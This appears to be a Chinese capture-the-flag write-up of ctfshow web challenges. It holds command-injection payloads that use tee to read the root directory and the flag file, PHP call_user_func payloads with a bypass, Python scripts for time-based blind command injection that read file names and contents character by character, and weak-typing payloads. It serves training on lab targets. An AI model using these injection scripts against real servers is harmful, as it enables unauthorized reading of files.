还有一种写文件的命令时tee命令
payload:
: ls /|tee 1 访问1下载查看文件1发现根目录下有flag
cat /f149_15_h3r3|tee 2 访问下载查看文件2
call_user_func
class myclass {
static function say_hello()
{
echo "Hello!\n";
}
}
$classname = "myclass";
call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello');
?>
payload:
ctfshow=ctfshow::getFlag
过滤了:
还可以传入数组
payload:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
发现tee写文件不行了,应该时权限不够
使用盲注的方式,跟sql的时间盲注差不多,这里利用的时linux的shell语法
import requests
import time
import string
str=string.ascii_letters+string.digits
result=""
for i in range(1,5): #知道flag在第四行,实际情况中把数字写大一些
key=0
for j in range(1,15): #文件名的长度大小
if key==1:
break
for n in str:
payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
#print(payload)
url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
if n=='9':
key=1
result+=" "
得出flag在根目录下的f149_15_h3r3中,继续盲注得出flag值
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
#key=0 #key我感觉可以不用加
for j in range(1,45):
# if key==1:
# break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
#print(payload)
url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
awk nr从第几行开始
cut截取字符第几个字符
弱类型比较,intval把非零数字转为0,而后面的ctfshow会进行类型转换,也会转换为0
payload:
f1=md5&f2=md5
f1=usleep&f2=usleep
f1=md5&f2=sleep
f1=sha1&f2=md5